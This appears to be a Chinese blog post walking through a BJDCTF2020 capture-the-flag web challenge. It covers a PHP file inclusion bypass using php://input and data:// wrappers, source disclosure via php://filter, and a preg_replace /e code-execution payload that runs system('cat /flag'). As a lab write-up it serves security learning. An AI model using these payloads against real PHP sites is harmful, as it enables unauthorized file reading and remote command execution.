[BJDCTF2020]ZJCTF,不过如此

 1 <?php
 2 
 3 error_reporting(0);
 4 $text = $_GET["text"];
 5 $file = $_GET["file"];
 6 if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
 7     echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
 8     if(preg_match("/flag/",$file)){
 9         die("Not now!");
10     }
11 
12     include($file);  //next.php
13     
14 }
15 else{
16     highlight_file(__FILE__);
17 }
18 ?>

代码第6行可以使用伪协议进行绕过,第12行存在文件包含漏洞

php://input方式:

http://ccea6fb5-0444-4378-ad27-207092aaa003.node3.buuoj.cn/?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php

post:I have a dream

data协议方式:

http://ccea6fb5-0444-4378-ad27-207092aaa003.node3.buuoj.cn/?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

解密后的源代码:

 1 <?php
 2 $id = $_GET['id'];
 3 $_SESSION['id'] = $id;
 4 
 5 function complex($re, $str) {
 6     return preg_replace(
 7         '/(' . $re . ')/ei',
 8         'strtolower("\\1")',
 9         $str
10     );
11 }
12 
13 
14 foreach($_GET as $re => $str) {
15     echo complex($re, $str). "\n";
16 }
17 
18 function getFlag(){
19     @eval($_GET['cmd']);
20 }

可以看见代码18行为命令执行,第6行preg_replace在/e模式下存在命令执行漏洞,具体原理可以参考文章:https://xz.aliyun.com/t/2557

这里直接给出payLoad:

http://ccea6fb5-0444-4378-ad27-207092aaa003.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system("cat /flag");

 

 

posted @ 2020-07-13 16:20  GTX690M  阅读(244)  评论(0编辑  收藏  举报